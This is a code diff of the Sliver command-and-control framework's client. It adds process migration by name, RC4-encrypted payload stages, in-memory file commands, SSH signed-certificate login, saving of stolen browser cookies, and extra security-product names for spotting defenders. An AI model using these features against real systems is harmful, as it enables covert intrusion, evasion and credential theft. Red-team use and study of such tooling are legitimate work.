go-version: "1.20.7"
- name: OS Packages
run: |
@@ -52,7 +53,7 @@ jobs:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "1.20.2"
go-version: "1.20.7"
- name: Mingw
run: brew install mingw-w64
@@ -70,7 +71,4 @@ jobs:
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+2 -4
View File
@@ -1,4 +1,4 @@
FROM golang:1.20.2
FROM golang:1.20.7
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -53,9 +53,7 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
RUN make clean-all
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+2
View File
@@ -129,6 +129,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"ID",
"Name",
"Transport",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
@@ -165,6 +166,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+1 -1
View File
@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
return beacon, nil
}
}
+56 -4
View File
@@ -484,6 +484,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.StringL("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
@@ -1205,12 +1206,10 @@ func BindCommands(con *console.SliverConsoleClient) {
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
f.Uint("p", "pid", 0, "process id to migrate into")
f.String("n", "process-name", "", "name of the process to migrate into")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1297,6 +1296,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Uint("p", "port", 22, "SSH port")
f.String("i", "private-key", "", "path to private key file")
f.String("u", "signed-user-cert", "", "path to user signed certificate (certificate based auth)")
f.String("P", "password", "", "SSH user password")
f.String("l", "login", "", "username to use to connect")
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
@@ -1324,6 +1324,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.String("O", "debug-file", "", "path to debug output")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
@@ -1385,6 +1386,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.String("O", "debug-file", "", "path to debug output")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
@@ -1541,6 +1543,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.String("O", "debug-file", "", "path to debug output")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
@@ -1609,6 +1612,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.String("O", "debug-file", "", "path to debug output")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
@@ -2207,6 +2211,54 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
memfilesCmd := &grumble.Command{
Name: consts.MemfilesStr,
Help: "List current memfiles",
LongHelp: help.GetHelpFor([]string{consts.MemfilesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
filesystem.MemfilesListCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverHelpGroup,
}
memfilesCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add a memfile",
LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
filesystem.MemfilesAddCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
memfilesCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a memfile",
LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}),
Args: func(a *grumble.Args) {
a.String("fd", "memfile file descriptor")
},
Run: func(ctx *grumble.Context) error {
con.Println()
filesystem.MemfilesRmCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
con.App.AddCommand(memfilesCmd)
// [ Websites ] ---------------------------------------------
websitesCmd := &grumble.Command{
+6 -1
View File
@@ -19,6 +19,7 @@ package cursed
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
@@ -46,24 +47,28 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
jsonCookie, err := json.Marshal(cookie)
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+32 -1
View File
@@ -21,9 +21,11 @@ package exec
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
@@ -34,7 +36,36 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
pid := ctx.Args.Uint("pid")
pid := ctx.Flags.Uint("pid")
procName := ctx.Flags.String("process-name")
if pid == 0 && procName == "" {
con.PrintErrorf("Error: Must specify either a PID or process name\n")
return
}
if procName != "" {
procCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
procCtrl <- true
<-procCtrl
for _, p := range proc.GetProcesses() {
if strings.ToLower(p.Executable) == strings.ToLower(procName) {
pid = uint(p.Pid)
break
}
}
if pid == 0 {
con.PrintErrorf("Error: Could not find process %s\n", procName)
return
}
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
}
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if ctx.Flags.Bool("disable-sgn") {
+23 -12
View File
@@ -35,8 +35,9 @@ import (
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
err error
privKey []byte
signeUserCert []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
@@ -59,6 +60,15 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
password := ctx.Flags.String("password")
signeUserCertPath := ctx.Flags.String("signed-user-cert")
if signeUserCertPath != "" {
signeUserCert, err = os.ReadFile(signeUserCertPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
@@ -87,16 +97,17 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
SignedUserCert: signeUserCert,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+57 -52
View File
@@ -28,13 +28,13 @@ import (
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
@@ -60,6 +60,61 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
fileName := filepath.Base(remotePath)
localPath := ctx.Args.String("local-path")
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
//Update the local-path to the full derived path
ctx.Args["local-path"].Value = dst
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
@@ -118,7 +173,6 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
}
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
@@ -139,56 +193,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dst := localPath
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+67
View File
@@ -0,0 +1,67 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MemfilesAddCmd - Add memfile
func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, memfilesAdd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintAddMemfile(memfilesAdd, con)
})
con.PrintAsyncResponse(memfilesAdd.Response)
} else {
PrintAddMemfile(memfilesAdd, con)
}
}
// PrintAddMemfile - Print the memfiles response
func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
return
}
con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
}
+118
View File
@@ -0,0 +1,118 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MemfilesListCmd - List memfiles
func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if memfilesList.Response != nil && memfilesList.Response.Async {
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, memfilesList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMemfiles(memfilesList, con)
})
con.PrintAsyncResponse(memfilesList.Response)
} else {
PrintMemfiles(memfilesList, con)
}
}
// PrintMemfiles - Display an sliverpb.Ls object
func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
owner := ""
if fileInfo.Uid != "" {
owner = fileInfo.Uid
}
if fileInfo.Gid != "" {
owner = owner + ":" + fileInfo.Gid + "\t"
}
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+77
View File
@@ -0,0 +1,77 @@
package filesystem
/*
Copyright (C) 2023 b0yd
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strconv"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MemfilesRmCmd - Remove a memfile
func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
fdArg := ctx.Args.String("fd")
if fdArg == "" {
con.PrintErrorf("Missing parameter: File Descriptor\n")
return
}
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
Request: con.ActiveTarget.Request(ctx),
Fd: fdInt,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if memfilesList.Response != nil && memfilesList.Response.Async {
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, memfilesList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRmMemfile(memfilesList, con)
})
con.PrintAsyncResponse(memfilesList.Response)
} else {
PrintRmMemfile(memfilesList, con)
}
}
// PrintRmMemfile - Remove a memfile
func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
if memfilesList.Response != nil && memfilesList.Response.Err != "" {
con.PrintErrorf("%s\n", memfilesList.Response.Err)
return
}
con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
}
+1 -1
View File
@@ -106,7 +106,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
return
}
+3
View File
@@ -272,6 +272,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
debugFile := ctx.Flags.String("debug-file")
isSharedLib := false
isService := false
@@ -369,6 +370,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
DebugFile: debugFile,
}
return config
+2 -1
View File
@@ -41,9 +41,10 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, buildImplantName(profile.GetConfig().GetFileName()))
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
+8
View File
@@ -43,6 +43,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else if session != nil || beacon != nil {
var currID = ""
if session != nil {
currID = session.ID
} else {
currID = beacon.ID
}
session, beacon, err = use.SessionOrBeaconByID(currID, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
+2
View File
@@ -67,6 +67,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
"Name",
"Protocol",
"Port",
"Stage Profile",
})
var keys []int
@@ -82,6 +83,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
job.ProfileName,
})
}
con.Printf("%s\n", tw.Render())
+34 -1
View File
@@ -23,11 +23,14 @@ import (
"compress/zlib"
"context"
"encoding/binary"
"github.com/bishopfox/sliver/util/encoders"
"fmt"
"net/url"
"path/filepath"
"strconv"
"strings"
"github.com/bishopfox/sliver/util/encoders"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -41,6 +44,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
rc4EncryptKey := ctx.Flags.String("rc4-encrypt-key")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
@@ -67,6 +71,21 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if rc4EncryptKey != "" && aesEncryptKey != "" {
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
return
}
rc4Encrypt := false
if rc4EncryptKey != "" {
// RC4 keysize can be between 1 to 256 bytes
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
con.PrintErrorf("Incorrect length of RC4 Key\n")
return
}
rc4Encrypt = true
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
@@ -118,6 +137,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
if rc4Encrypt {
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
@@ -130,6 +153,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
})
ctrl <- true
<-ctrl
@@ -158,6 +183,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
ProfileName: fmt.Sprintf("%s (Silver name: %s)", profileName,
strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
})
ctrl <- true
<-ctrl
@@ -176,6 +203,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
})
ctrl <- true
<-ctrl
@@ -194,6 +223,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
if rc4Encrypt {
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
}
}
func prependPayloadSize(payload []byte) []byte {
+5
View File
@@ -80,6 +80,11 @@ var (
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
}
)
+7
View File
@@ -50,9 +50,16 @@ func (n *node) insert(proc *commonpb.Process) {
}
func (n *node) findParent(proc *commonpb.Process) *node {
// Empty node
if n.Value == nil {
return nil
}
// Skip self when called from reorder
// otherwise things might explode, see #1340
if n.Value.Pid == proc.Pid {
return nil
}
// Found parent
if n.Value.Pid == proc.Ppid {
return n
}
+1 -1
View File
@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
c2s = append(c2s, tcpPivotC2...)
// No flags, parse the current beacon's ActiveC2 instead
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
if len(c2s) == 0 {
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
c2url, err := url.Parse(beacon.ActiveC2)
if err != nil {
+4
View File
@@ -78,6 +78,10 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if killFlag != "" {
session := con.GetSession(killFlag)
if session == nil {
con.PrintErrorf("Invalid session name or session number: %s\n", killFlag)
return
}
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
+32 -5
View File
@@ -174,9 +174,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
// ---------------------
// Environment commands
// ---------------------
case sliverpb.MsgEnvInfo:
